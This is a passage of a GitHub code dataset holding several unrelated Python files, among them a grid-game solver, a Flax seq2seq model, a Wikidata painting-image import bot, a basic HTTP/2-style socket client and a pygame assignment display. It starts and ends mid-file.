vid_pathtype):\n # Open the video file\n if vid_pathtype == 'local':\n cap = read_local_video(video_path)\n elif vid_pathtype == 'youtube':\n cap = read_youtube_video(video_path)\n\n # Check if the video is opened successfully\n if not cap.isOpened():\n print(\"Error: Could not open video.\")\n return\n return cap","repo_name":"SowmyaMaddala27/YOLOV8Toolkit","sub_path":"mypackage/utils/video_reader.py","file_name":"video_reader.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"5145747601","text":"import random\n\nclass GridGame:\n \"\"\"\n GridGame Problem Overview: \n In a 100 by 100 2-D grid world, you are given a starting point A on one side of the grid, and an\n ending point B on the other side of the grid. Your objective is to get from point A to point B.\n Each grid space can be in a state of [“Blank”, “Speeder”, “Lava”, “Mud”]. You start out with 200\n points of health and 450 moves. Below is a mapping of how much your health and moves are\n affected by landing on a grid space.\n \"\"\"\n\n BLANK = { \"name\": \"Blank\", \"health\": 0, \"moves\": -1 }\n SPEEDER = {\"name\": \"Speeder\", \"health\": -5, \"moves\": 0}\n LAVA = {\"name\": \"Lava\", \"health\": -50, \"moves\": -10}\n MUD = {\"name\": \"Mud\", \"health\": -10, \"moves\": -5}\n \n DEFAULT_HEALTH = 200\n DEFAULT_MOVES = 450\n\n DEBUG = False\n\n def __init__(self, difficulty:str=\"medium\", custom_grid:list=None)->None:\n self.difficulty = difficulty\n self.grid = custom_grid if custom_grid is not None else self.make_grid(100)\n self.visited = self.set_visited(self.grid)\n\n def log(self, msg:str) -> None:\n \"\"\" if debug == True print debug messages \"\"\"\n if self.DEBUG:\n print(msg)\n\n def death_message(self) -> str:\n \"\"\" return a message if we cant solve the map \"\"\"\n size = len(self.grid)\n diff = self.difficulty\n return f\"\"\"Died trying all routes on a {size} x {size} grid on {diff} mode\"\"\"\n\n def success_message(self, res) -> str:\n \"\"\" return a win message \"\"\"\n diff = self.difficulty\n return f\"\"\" We Won! I found the best route health: {res[0]}, moves: {res[1]}, on {diff} mode\"\"\"\n\n def set_visited(self, grid)->list:\n \"\"\" Set a multi dim array that matches the grid to track visited cells \"\"\"\n return [[False] * len(grid[0]) for _ in range(len(grid))]\n\n def make_grid(self, grid_size: int = 100) -> dict:\n \"\"\" Return a NxN grid with random world types and meta data \"\"\"\n grid = []\n\n if self.difficulty == \"easy\":\n level = self.easy_game_board()\n elif self.difficulty == \"medium\":\n level = self.medium_game_board()\n else:\n level = self.hard_game_board()\n \n for _row in range(grid_size):\n temp = []\n for _col in range(grid_size):\n temp.append( level[random.randrange( 0, len(level))] )\n grid.append(temp)\n return grid\n \n def set_board_types(self, types:list)->list:\n \"\"\" return an array of cell types \"\"\"\n level = []\n self.log(f\"buidling a board with these types: {types}\")\n for _ in range(10):\n cell = types[random.randrange(0, len(types))]\n level.append({\"type\": cell[\"name\"], \"health\": cell[\"health\"], \"moves\": cell[\"moves\"]})\n return level\n \n def easy_game_board(self) -> list:\n \"\"\" return a board high probability of blanks\"\"\"\n types = [self.BLANK,\n self.LAVA,\n self.BLANK,\n self.BLANK,\n self.BLANK,\n self.SPEEDER,\n self.BLANK,\n self.BLANK,\n self.BLANK,\n self.MUD]\n return self.set_board_types(types)\n\n def medium_game_board(self) -> list:\n \"\"\" return a board with more probability of blanks\"\"\"\n types = [self.BLANK,\n self.SPEEDER,\n self.BLANK,\n self.BLANK,\n self.LAVA,\n self.BLANK,\n self.MUD,\n self.BLANK]\n return self.set_board_types(types)\n\n def hard_game_board(self) -> list:\n \"\"\" return a board equal probability of blanks \"\"\"\n types = [self.BLANK,\n self.SPEEDER,\n self.LAVA,\n self.MUD]\n return self.set_board_types(types)\n \n\n def check_current_health(self, health:int, moves:int, cell:dict)->bool:\n \"\"\" If we dont have enough health to go on short-circuit the loop \"\"\"\n \n # lava requires 50 health\n if cell[\"type\"] == self.LAVA[\"name\"] and health < self.LAVA[\"health\"]:\n self.log(\"lava killed me\")\n return False\n \n # mud requires 10 health\n if cell[\"type\"] == self.MUD[\"name\"] and health < self.MUD[\"health\"]:\n self.log(\"mud killed me\")\n return False\n\n # speeder requires 5 health\n if cell[\"type\"] == self.SPEEDER[\"name\"] and health < self.SPEEDER[\"health\"]:\n self.log(\"speeder killed me\")\n return False\n \n # No health no more moves\n if health + cell[\"health\"] <= 0 or moves + cell[\"moves\"] <= 0:\n self.log(\"trying new route\")\n self.log(f\"ran out of health: {health} or moves: {moves}\")\n self.log(f\"last cell: {cell}\" )\n return False\n \n self.log(f\"Still Alive: health: {health} | moves: {moves} \")\n return True\n \n\n def solver(self, x:int=0, y:int=0, health:int=0, moves:int=0)-> tuple:\n \"\"\" iterate over the grid, for each movement until the end cell is reached \"\"\"\n \n # end of board exit\n if x < 0 or y < 0 or x >= len(self.grid[0]) or y >= len(self.grid):\n self.log(\"done parsing board!\")\n return None\n \n # make this cell as visited\n if self.visited[y][x]:\n return None\n \n # get the current cell\n cell = self.grid[y][x]\n \n # make sure we have enough health to continue the path\n if self.check_current_health(health, moves, cell) is False:\n return None\n\n #set this cell to visited\n self.visited[y][x] = True\n \n # if row teversal complete\n if x == len(self.grid[0]) - 1 and y == (len(self.grid) - 1):\n return (health + cell[\"health\"], moves + cell[\"moves\"])\n \n # move across the board for each cell dimension\n results = [\n # right\n self.solver(x + 1, y, health + cell[\"health\"], moves + cell[\"moves\"]),\n # down\n self.solver(x, y + 1, health + cell[\"health\"], moves + cell[\"moves\"]),\n # left\n self.solver(x - 1, y, health + cell[\"health\"], moves + cell[\"moves\"]),\n # up\n self.solver(x, y - 1, health + cell[\"health\"], moves + cell[\"moves\"])\n ]\n\n\n self.log(f\"x: {x}, y: {y} \")\n\n # Remove none values and return the best possible score\n res = max(filter(lambda x: x is not None, results), default=None)\n self.log(res)\n return res","repo_name":"scottyadean/grid_of_death","sub_path":"grid_game.py","file_name":"grid_game.py","file_ext":"py","file_size_in_byte":6260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"39761278331","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*\n__author__ = \"gisly\"\n\nimport codecs\n\ndef read_lines_from_filename(filename):\n word_list = []\n with codecs.open(filename, 'r', 'utf-8') as fin:\n for line in fin:\n word_list.append(line.strip())\n return word_list","repo_name":"lalsnivts/evenki_ocr_texts","sub_path":"src/file_utils.py","file_name":"file_utils.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74041870504","text":"# Adapted from flax seq2seq examples:\n# https://github.com/google/flax/blob/main/examples/seq2seq/\n\nfrom typing import Tuple\n\nfrom flax import linen as nn\nimport jax\nimport jax.numpy as jnp\n\nArray = jax.Array\nPRNGKey = jax.random.KeyArray\nLSTMCarry = Tuple[Array, Array]\n\nclass DecoderLSTMCell(nn.RNNCellBase):\n \"\"\"DecoderLSTM Module wrapped in a lifted scan transform.\n\n Attributes:\n teacher_force: See docstring on Seq2seq module.\n feature_size: Feature size of the output sequence\n \"\"\"\n teacher_force: bool\n feature_size: int\n\n @nn.compact\n def __call__(\n self,\n carry: Tuple[LSTMCarry, Array],\n x: Array\n ) -> Tuple[Tuple[LSTMCarry, Array], Array]:\n \"\"\"Applies the DecoderLSTM model.\"\"\"\n lstm_state, last_prediction = carry\n if not self.teacher_force:\n x = last_prediction\n lstm_state, y = nn.LSTMCell()(lstm_state, x)\n prediction = nn.Dense(features=self.feature_size)(y)\n carry = (lstm_state, prediction)\n return carry, prediction\n\n @property\n def num_feature_axes(self) -> int:\n return 2\n\nclass Seq2seq(nn.Module):\n \"\"\"Sequence-to-sequence class using encoder/decoder architecture.\n\n Attributes:\n teacher_force: whether to use `decoder_inputs` as input to the decoder at\n every step. If False, only the first input i.e. the previous indicator\n value.\n hidden_size: int, the number of hidden dimensions in the encoder and decoder\n LSTMs.\n eos_id: float, the value for the end of the input\n \"\"\"\n teacher_force: bool\n hidden_size: int\n eos_id: float\n\n @nn.compact\n def __call__(\n self,\n encoder_inputs: Array,\n decoder_inputs: Array\n ) -> Tuple[Array, Array]:\n \"\"\"Applies the seq2seq model.\n\n Args:\n encoder_inputs: [batch_size, max_input_length, vocab_size].\n padded batch of input sequences to encode.\n decoder_inputs: [batch_size, max_output_length, vocab_size].\n padded batch of expected decoded sequences for teacher forcing.\n When sampling (i.e., `teacher_force = False`), only the first token is\n input and samples are used\n for the following inputs. The second dimension of this tensor determines\n how many steps will be decoded, regardless of the value of\n `teacher_force`.\n\n Returns:\n predictions, an array of length `batch_size`\n containing the predicted mean and variance of the output sequence\n \"\"\"\n # Encode inputs.\n encoder = nn.RNN(\n nn.LSTMCell(),\n self.hidden_size,\n return_carry=True\n )\n decoder = nn.RNN(\n DecoderLSTMCell(\n self.teacher_force,\n decoder_inputs.shape[-1]\n ),\n decoder_inputs.shape[-1]\n )\n\n seq_lengths = self.get_seq_lengths(encoder_inputs)\n\n encoder_state, y = encoder(encoder_inputs, seq_lengths=seq_lengths)\n predictions = decoder(\n decoder_inputs[:, :-1],\n initial_carry=(encoder_state, decoder_inputs[:, 0])\n )\n\n return predictions\n\n def get_seq_lengths(self, inputs: Array) -> Array:\n \"\"\"Get segmentation mask for inputs.\"\"\"\n return jnp.argmax(inputs[:, :, 0] == self.eos_id, axis=-1)\n","repo_name":"WellcomeIdeathon2023/InfecTech","sub_path":"src/train_tweet_forecaster/package/rnn.py","file_name":"rnn.py","file_ext":"py","file_size_in_byte":3388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"4013720222","text":"# 문제 출처 : https://programmers.co.kr/learn/courses/30/lessons/84325\n\ndef solution(table, languages, preference):\n arr = []\n for jobs in table:\n job = jobs.split(' ')\n lang_num = 0\n for i in range(len(languages)):\n if languages[i] not in job:\n lang_num += 0\n else:\n lang_num += preference[i] * (6 - job.index(languages[i]))\n arr.append((job[0], lang_num))\n # print(arr)\n\n # -x[1]는 높은숫자로 내림차순, x[0]은 사전 순으로 오름차순\n arr.sort(key=lambda x: (-x[1], x[0]))\n\n # print(arr)\n return arr[0][0]\n","repo_name":"ThreeFive85/Algorithm","sub_path":"Programmers/level1/jobRecommend/job_recommend.py","file_name":"job_recommend.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"43054868507","text":"# 起始URL\nroot_url = 'https://www.qidian.com/free/all'\n\n# 小说种类URL参数列表\nnovel_list = {\n '奇幻': '?chanld=1',\n '武侠': '?chanld=2',\n '仙侠': '?chanld=22',\n '都市': '?chanId=4',\n '历史': '?chanId=5',\n '游戏': '?chanId=7',\n '科幻': '?chanId=9',\n '灵异': '?chanId=10',\n '短篇': '?chanId=20076',\n '玄幻': '?chanld=21'\n}\n\n\ndef interface():\n print('-' * 50)\n print('小说种类清单:')\n print(''' \n 奇幻\n 武侠\n 仙侠\n 都市 \n 历史\n 游戏\n 科幻\n 灵异\n 短篇\n 玄幻\n ''')\n print('-' * 50)\n\n\ndef menu():\n \"\"\"\n 接口函数,得到小说种类category\n :return: 返回对应的url以及category\n \"\"\"\n category = str(input('请输入你要看的小说类别:'))\n chanId = novel_list[category]\n # 构造出完整的URL\n url = root_url + chanId\n return url, category\n\n\nif __name__ == '__main__':\n \"\"\"\n 测试模块\n \"\"\"\n interface()\n menu()\n","repo_name":"Know1ng/novel","sub_path":"xiaoshuo_origin/xiaoshuo_inter.py","file_name":"xiaoshuo_inter.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"32281773681","text":"import json\n\nfrom django.http.request import HttpRequest\nfrom identity_server.logic.session.registration_session.account_created import AccountCreated\nfrom identity_server.logic.session.session import SessionState\nfrom identity_server.logic.user_logic.user_logic import UserLogic, User\nfrom dataclasses import asdict\nfrom identity_server.logic.user_logic.user_logic_exceptions import UserAlreadyExists\n\n\nclass WaitingForRegistrationData(SessionState):\n\n def required_request_params(self):\n return User.required_fields()\n\n def _get_request_data(self, request: HttpRequest) -> dict:\n if request.body:\n return json.loads(request.body)\n\n def process_request(self, request):\n user_data = self._get_request_data(request)\n new_user = User.from_kwargs(**user_data)\n try:\n UserLogic.create_user(new_user)\n except UserAlreadyExists:\n return self.conflict(new_user)\n finally:\n self.end_session()\n return self.ok(json.dumps(asdict(new_user)))\n\n def unprocessable_entity(self, reason: str, request: HttpRequest):\n return self.render_html(request, 'registration_page.html', {'required_fields': User.required_fields()})\n","repo_name":"aI-lab-glider/oauth2-server-implementation","sub_path":"identity_server/logic/session/registration_session/waiting_for_user_data.py","file_name":"waiting_for_user_data.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"17972167947","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\nBot to import Nationalmuseum (Sweden) illustrations and metadata to Wikidata.\n\nThe source data are the LIDO files used for the image import (into Commons).\n\n¶ms;\n\"\"\"\nimport codecs\nimport os.path as path\n\nimport pywikibot\n\nimport wikidataStuff.helpers as helpers\nfrom wikidataStuff.WikidataStuff import WikidataStuff as WD\nimport wikidataStuff.wdqsLookup as wdqsLookup\nEDIT_SUMMARY = u'import using #NatMus data'\n\nusage = u\"\"\"\nUsage: python NatMus-images/ImageImporter.py [OPTIONS]\n with options:\n\n-rows:INT Number of entries to process (default: All)\n\"\"\"\ndocuReplacements = {'¶ms;': usage}\n\n\nclass PaintingsImageBot:\n \"\"\"Bot to enrich, and create, for items about paintings on Wikidata.\"\"\"\n\n def __init__(self, dict_generator, people_items):\n \"\"\"Initialise the bot.\"\"\"\n self.people_items = people_items\n self.generator = dict_generator\n self.repo = pywikibot.Site().data_repository()\n self.wd = WD(self.repo, edit_summary=EDIT_SUMMARY)\n\n # Set log file\n out_dir = path.join(path.split(__file__)[0])\n log_filename = path.join(out_dir, u'PaintingsImageBot.log')\n self.log = codecs.open(log_filename, 'a', 'utf-8')\n\n def run(self):\n \"\"\"Start the robot.\"\"\"\n self.creators = {}\n\n for painting_data in self.generator:\n # isolate ids\n lido_data, qid, commons_file = painting_data\n painting_item = self.wd.QtoItemPage(qid)\n self.process_painting(painting_item, lido_data, commons_file)\n\n def process_painting(self, item, lido_data, commons_file):\n \"\"\"Process a single painting.\"\"\"\n item.exists() # load the item\n obj_id_ref = self.make_obj_id_ref(lido_data.get('obj_id'))\n # lido_ref = self.make_lido_ref(lido_data) # make a reference object\n\n self.check_and_add_labels(item, lido_data)\n self.add_image_claim(item, commons_file, obj_id_ref)\n self.add_depicted_claim(item, lido_data, obj_id_ref)\n self.add_date_claim(item, lido_data, obj_id_ref)\n self.add_dimension_claims(item, lido_data, obj_id_ref)\n\n def add_dimension_claims(self, item, lido_data, ref):\n \"\"\"\n Add height/P2048 and width/P2049 claims.\n\n Only add non-framed measurements with just height and width.\n \"\"\"\n height_p = u'P2048'\n width_p = u'P2049'\n # diameter_p = u'P2386'\n # thickness_p = u'P2610'\n dimensions = lido_data.get('measurements').get('_') # non-framed\n if not dimensions or not dimensions.get('unit'):\n return None\n elif not dimensions.get('width') or not dimensions.get('height') \\\n or dimensions.get('depth'):\n # skip complicated cases for now\n return None\n elif not helpers.get_unit_q(dimensions.get('unit')):\n pywikibot.output(\n u'\"%s\" is an unmapped unit' % dimensions.get('unit'))\n return None\n\n # prepare all parts before adding claims\n unit = helpers.get_unit_q(dimensions.get('unit'))\n # unit = self.wd.QtoItemPage(unit)\n unit = entity_url_hack(unit)\n\n height = pywikibot.WbQuantity(\n dimensions.get('height'),\n # unit=unit,\n entity=unit,\n site=self.wd.repo)\n width = pywikibot.WbQuantity(\n dimensions.get('width'),\n # unit=unit,\n entity=unit,\n site=self.wd.repo)\n\n # make claims\n self.wd.addNewClaim(\n height_p, WD.Statement(height),\n item, ref)\n self.wd.addNewClaim(\n width_p, WD.Statement(width),\n item, ref)\n\n def add_date_claim(self, item, lido_data, ref):\n \"\"\"\n Add an inception/P571 claim.\n\n Only adds the claim if it's an exact year.\n \"\"\"\n prop = u'P571'\n creation_date = lido_data.get('creation_date')\n wb_date = None\n if not creation_date:\n return None\n\n # exact date\n if creation_date.get('earliest') and \\\n creation_date.get('earliest') == creation_date.get('latest'):\n wb_date = helpers.iso_to_WbTime(creation_date.get('earliest'))\n\n # make claim\n if wb_date:\n self.wd.addNewClaim(\n prop, WD.Statement(wb_date),\n item, ref)\n\n def add_depicted_claim(self, item, lido_data, ref):\n \"\"\"Add a depicted/P180.\"\"\"\n prop = u'P180'\n if not lido_data.get('subjects'):\n return None\n\n for subject in lido_data.get('subjects'):\n nsid = subject.get(u'other_id')\n if nsid in self.people_items:\n person_item = self.wd.QtoItemPage(self.people_items[nsid])\n self.wd.addNewClaim(\n prop, WD.Statement(person_item),\n item, ref)\n\n def add_image_claim(self, item, commons_file, ref):\n \"\"\"\n Add a image/P18 claim.\n\n Only adds it if there is None already. If one exists output to log.\n \"\"\"\n prop = u'P18'\n if not commons_file:\n return\n\n file_page = pywikibot.FilePage(\n pywikibot.Site('commons', 'commons'), commons_file)\n\n # check if another image is already used\n if prop in item.claims and \\\n not self.wd.has_claim(prop, file_page, item):\n self.log.write(\n u\"%s already contains image claim: %s -> %s\\n\" % (\n item.title(),\n item.claims.get(prop)[0].getTarget().title(),\n file_page.title()))\n else:\n self.wd.addNewClaim(\n prop, WD.Statement(file_page),\n item, ref)\n\n def check_and_add_labels(self, item, lido_data):\n \"\"\"Process the title field add to the item if needed.\"\"\"\n if not lido_data.get('title'):\n return\n\n for lang, value in lido_data.get('title').iteritems():\n if lang == '_':\n continue\n try:\n self.wd.addLabelOrAlias(\n lang, value, item,\n caseSensitive=False)\n except pywikibot.data.api.APIError as e:\n self.log.write(u\"%s: had an error: %s\\n\" % (item.title(), e))\n\n def make_obj_id_ref(self, obj_id):\n \"\"\"Make a reference object pointing to the objects collection page.\"\"\"\n uri = u'http://collection.nationalmuseum.se/eMuseumPlus?' \\\n u'service=ExternalInterface&module=collection&' \\\n u'objectId=%s&viewType=detailView' % obj_id\n return self.make_url_reference(uri)\n\n def make_url_reference(self, uri):\n \"\"\"\n Make a Reference object with a retrieval url and today's date.\n\n @param uri: retrieval uri/url\n @type uri: str\n @rtype: WD.Reference\n \"\"\"\n date = helpers.today_as_WbTime()\n ref = WD.Reference(\n source_test=self.wd.make_simple_claim(u'P854', uri),\n source_notest=self.wd.make_simple_claim(u'P813', date))\n return ref\n\n # Not implemented due to uncertainty on referencing individual xml files\n def make_lido_ref(self, lido_data):\n \"\"\"\n Make a Reference object for the dataset.\n\n Contains 4 parts:\n * P248: Stated in \n * P577: Publication date \n * P854: Reference url \n * P813: Retrieval date \n \"\"\"\n exit()\n # P248: Nationalmuseum dataset\n xml_file = lido_data.get('source_file')\n date = helpers.today_as_WbTime()\n pub_date = helpers.iso_to_WbTime(u'2016-09-30')\n zip_url = u'https://github.com/NationalmuseumSWE/WikidataCollection/' \\\n u'blob/master/valid_items_transform_1677.tgz'\n ref = WD.Reference(\n source_test=[\n self.wd.make_simple_claim(u'P854', zip_url),\n self.wd.make_simple_claim(u'P577', pub_date),\n self.wd.make_simple_claim(u'P?', xml_file),\n ],\n source_notest=self.wd.make_simple_claim(u'P813', date))\n return ref\n\n\ndef entity_url_hack(unit):\n \"\"\"Temporary hack until WbQuantity fully supports units.\"\"\"\n return u'http://www.wikidata.org/entity/%s' % unit\n\n\ndef make_labels(lido_data):\n \"\"\"\n Given a painting object extract all potential labels.\n\n @param painting: information object for the painting\n @type painting: dict\n @return: language-label pairs\n @rtype: dict\n \"\"\"\n labels = {}\n if lido_data.get('title'):\n for lang, value in lido_data.get('title').iteritems():\n if lang == '_':\n continue\n labels[lang] = {'language': lang, 'value': value}\n return labels\n\n\ndef load_commons_data(filename):\n \"\"\"\n Load the local data file on nsid to filenames on Commons.\n\n The file is a csv of the format:\n ||https://commons.wikimedia.org/wiki/File:\n\n The returned format is a dict with nsid as key and (short) commons\n filename as value.\n \"\"\"\n commons_data = {}\n commons_string = u'https://commons.wikimedia.org/wiki/File:'\n with codecs.open(filename, 'r', 'utf-8') as f:\n lines = f.read().split('\\n')\n lines.pop(0) # The first row is just explanation\n for line in lines:\n if not line.strip():\n continue\n p = line.split('|')\n commons_name = p[2][len(commons_string):]\n commons_data[p[0]] = commons_name\n return commons_data\n\n\ndef load_offline_data():\n \"\"\"Load and prepare the local data.\"\"\"\n # Hard code filenames because I'm lazy\n data_dir = u'NatMus-images/data/'\n commons_names = data_dir + u'obj_id-file-commons.csv'\n nsid = data_dir + u'local_nsid_mapping.json'\n processed_lido = data_dir + u'processed_lido.json'\n\n local_nsid = helpers.load_json_file(nsid)\n lido = helpers.load_json_file(processed_lido)\n commons_data = load_commons_data(commons_names)\n\n return local_nsid, lido, commons_data\n\n\ndef load_creator_items():\n \"\"\"Load existing creator items.\"\"\"\n item_ids = wdqsLookup.make_claim_wdqs_search(\n 'P2538', get_values=True, allow_multiple=True)\n\n # invert and check existence and uniqueness\n nsid_creators = {}\n for q_id, values in item_ids.iteritems():\n for value in values:\n if value in nsid_creators.keys():\n pywikibot.output(\n \"Multiple Wikidata connected to one creator (%s): %s, %s\"\n % (value, q_id, nsid_creators[value]))\n nsid_creators[value] = q_id\n\n return nsid_creators\n\n\ndef load_painting_items():\n \"\"\"Load existing painting items.\"\"\"\n item_ids = wdqsLookup.make_claim_wdqs_search(\n 'P2539', get_values=True, allow_multiple=True)\n\n # invert and check existence and uniqueness\n nsid_items = {}\n for q_id, values in item_ids.iteritems():\n for value in values:\n if value in nsid_items.keys():\n pywikibot.output(\n \"Multiple Wikidata connected to one painting (%s): %s, %s\"\n % (value, q_id, nsid_items[value]))\n nsid_items[value] = q_id\n\n return nsid_items\n\n\ndef prepare_data():\n \"\"\"Load all of the data and package for downstream use.\"\"\"\n local_nsid, lido, commons_data = load_offline_data()\n creator_items = load_creator_items()\n painting_items = load_painting_items()\n\n # merge local_nsid and creator_items\n for k, v in local_nsid.iteritems():\n if k in creator_items.keys() and creator_items[k] != v:\n pywikibot.output(\n \"Conflict between local and Wikidata mapping (%s): %s, %s\"\n % (k, v, creator_items[k]))\n creator_items[k] = v\n\n return painting_items, lido, commons_data, creator_items\n\n\ndef get_painting_generator(lido_data, painting_items, commons_data, rows=None):\n \"\"\"Get objects from LIDO data.\"\"\"\n counter = 0\n for nsid, data in lido_data.iteritems():\n if not rows or counter < rows:\n if nsid in painting_items.keys():\n yield data, painting_items[nsid], commons_data.get(nsid)\n else:\n pywikibot.output(u'You are done!')\n break\n counter += 1\n\n pywikibot.output(u'No more results! You are done!')\n\n\ndef main(*args):\n \"\"\"Run the bot from the command line and handle any arguments.\"\"\"\n # handle arguments\n rows = None\n\n for arg in pywikibot.handle_args(args):\n option, sep, value = arg.partition(':')\n if option == '-rows':\n if helpers.is_pos_int(value):\n rows = int(value)\n else:\n raise pywikibot.Error(usage)\n\n painting_items, lido_data, commons_data, people_items = prepare_data()\n painting_gen = get_painting_generator(\n lido_data, painting_items, commons_data, rows=rows)\n\n paintings_bot = PaintingsImageBot(painting_gen, people_items)\n paintings_bot.run()\n paintings_bot.log.close()\n\n\nif __name__ == \"__main__\":\n \"\"\"Run from the command line.\"\"\"\n main()\n","repo_name":"lokal-profil/wikidata_batches","sub_path":"NatMus-images/ImageImporter.py","file_name":"ImageImporter.py","file_ext":"py","file_size_in_byte":13327,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"9661117047","text":"import socket\nimport time\nimport threading\nfrom collections import deque\n \nclass HTTPClient(): #? For HTTP/2\n def __init__(self) -> None:\n self.first = True\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.stream_id = 1\n def get(self, url, headers=None):\n # Send the request and return the response (Object)\n # url = \"http://127.0.0.1:8080/static/xxx.txt\"\n resource = ''\n if len(url.split('/')) <= 1:\n resource = '/'\n else:\n resource = '/' + url.split('/', 1)[1]\n ip_port = url.split('/', 1)[0]\n ip = ip_port.split(':')[0]\n port = int(ip_port.split(':')[1])\n if(self.first):\n self.socket.settimeout(5)\n try:\n self.socket.connect((ip, port))\n self.first = False\n # print('connect 1!')\n except:\n print('connect failed!')\n return None\n request = {\n 'type': 1,\n 'flag': 0,\n 'payload': f'method: GET\\r\\npath: {resource}',\n }\n self.send_request(request)\n # time.sleep(10)\n response = Response(self.socket, self.stream_id)\n response.recv_loop(self.socket)\n self.stream_id += 2\n return response\n\n def send_request(self, request):\n frame_type = request['type'].to_bytes(1, byteorder='big') \n flag = request['flag'].to_bytes(1, byteorder='big')\n stream_id = self.stream_id.to_bytes(4, byteorder='big')\n payload = request['payload'].encode('utf-8')\n length = len(payload).to_bytes(3, byteorder='big')\n byte_response = length + frame_type + flag + stream_id + payload\n self.socket.sendall(byte_response)\n # print('sent!')\n return\n\nclass Response():\n def __init__(self, stream_id, headers = {}, status = \"Not yet\") -> None:\n self.stream_id = stream_id\n self.headers = headers\n self.status = status\n self.body = b\"\"\n self.total_length = 0\n self.contents = deque()\n self.complete = False\n def recv_loop(self, client_socket):\n while True:\n try:\n response_header = client_socket.recv(9)\n parsed_header = self.parse_header(response_header)\n self.stream_id = parsed_header['stream_id']\n # print(parsed_header['length'])\n response_payload = client_socket.recv(parsed_header['length'])\n while(len(response_payload) < parsed_header['length']):\n packet = client_socket.recv(parsed_header['length'] - len(response_payload))\n response_payload += packet\n # print(response_payload)\n if parsed_header['type'] == 1: #?header\n self.headers = self.parse_payload(response_payload.decode('utf-8'))\n self.status = self.headers['status']\n else:\n if self.headers['content-type'] == 'text/html':\n self.body += response_payload\n if parsed_header['flag'] == 1: #?parsed_header['flag'] == 1\n self.complete = True\n break\n else:\n self.contents.append(response_payload)\n self.total_length += parsed_header['length']\n if parsed_header['flag'] == 1: #?parsed_header['flag'] == 1\n self.complete = True\n # print('complete!')\n break\n except socket.timeout:\n print('No reponse from server (Timeout)!')\n break\n except:\n print (\"Cannot receive data (catch socket close)\")\n break\n def parse_header(self, origin_response):\n header = {\n 'length': None,\n 'type': None, \n 'flag': None, \n 'stream_id': None,\n }\n # print(origin_response)\n header['length'] = int.from_bytes(origin_response[:3], byteorder='big')\n header['type'] = origin_response[3]\n header['flag'] = origin_response[4]\n header['stream_id'] = int.from_bytes(origin_response[5:9], byteorder='big')\n return header\n def parse_payload(self, origin_payload):\n item_list = origin_payload.split('\\r\\n')\n payload = {key: val for item in item_list for key, val in [item.split(': ')]}\n return payload\n def get_headers(self):\n begin_time = time.time()\n while self.status == \"Not yet\":\n if time.time() - begin_time > 5:\n return None\n return self.headers\n def get_full_body(self): # used for handling short body\n begin_time = time.time()\n while not self.complete:\n if time.time() - begin_time > 5:\n return None\n if len(self.body) > 0:\n return self.body\n while len(self.contents) > 0:\n self.body += self.contents.popleft()\n return self.body # the full content of HTTP response body\n def get_stream_content(self): # used for handling long body\n begin_time = time.time()\n while len(self.contents) == 0: # contents is a buffer, busy waiting for new content\n if self.complete or time.time()-begin_time > 5: # if response is complete or timeout\n return None\n content = self.contents.popleft() # pop content from deque\n return content # the part content of the HTTP response body","repo_name":"yachen0409/Network_System_Capstone","sub_path":"hw6/http_2_0_client.py","file_name":"http_2_0_client.py","file_ext":"py","file_size_in_byte":5640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"23392679436","text":"import pygame as pg\nfrom datetime import datetime as dt\nfrom colours import BLACK, WHITE, GRAY, D_GRAY, GREEN, RED, YELLOW, \\\n COLOR_ACTIVE, COLOR_INACTIVE\nfrom helperFunctions import new_line, string2date, rect2start_pos, \\\n rect2end_pos\n\npg.font.init()\ntitle_font = pg.font.SysFont('Calibri', 28)\nheader_font = pg.font.SysFont('Calibri', 20)\n\ndates_font = pg.font.SysFont('Calibri', 22)\nnotes_font = pg.font.SysFont('Calibri', 16)\ntext_box_font = pg.font.SysFont('Calibri', 14)\n\n\nclass Assignment:\n def __init__(self, title, due_date, section='', start_date='', notes=''):\n #,colour=BLACK, width=298, height=398):\n self.title = title\n self.section = section\n\n #due date format 2019-06-05T25:53\n self.due_date = string2date(due_date)\n\n if not start_date:\n self.start_date = str(dt.now())[:-7]\n else:\n self.start_date = start_date\n\n self.notes = notes\n\n self.time_left = ''\n\n\nclass DisplayAssignment(pg.sprite.Sprite):\n # Constructor. Pass in the color of the block,\n # and its x and y position\n def __init__(self,pos,rect, assignment, background):\n # Call the parent class (Sprite) constructor\n pg.sprite.Sprite.__init__(self)\n self.assignment = assignment\n # Create an image of the block, and fill it with a color.\n # This could also be an image loaded from the disk.\n self.image = pg.Surface(pos)\n self.background = background\n self.image.fill(background)\n\n self.rect = pg.Rect(rect)\n\n if self.background in [BLACK,RED]:\n self.text_bold = WHITE\n self.text_norm = GRAY\n if self.background in [GREEN,YELLOW,WHITE]:\n self.text_bold = BLACK\n self.text_norm = D_GRAY\n\n def update(self, surface):\n #background\n pg.draw.rect(surface, self.background, self.rect, 0)\n #title\n title_text = title_font.render(self.assignment.title, True, self.text_bold)\n surface.blit(title_text, (10+self.rect.x, 10+self.rect.y))\n #section\n section_text = header_font.render(self.assignment.section, True, self.text_norm)\n surface.blit(section_text, (10+self.rect.x, 50+self.rect.y))\n #due date\n due_text = header_font.render(\"Due: {}\".format(self.assignment.due_date), True, self.text_bold)\n surface.blit(due_text, (10+self.rect.x, 80+self.rect.y))\n #time left\n time_left_text = header_font.render(\"Time Left: {}\".format(self.assignment.time_left), True, self.text_bold)\n surface.blit(time_left_text, 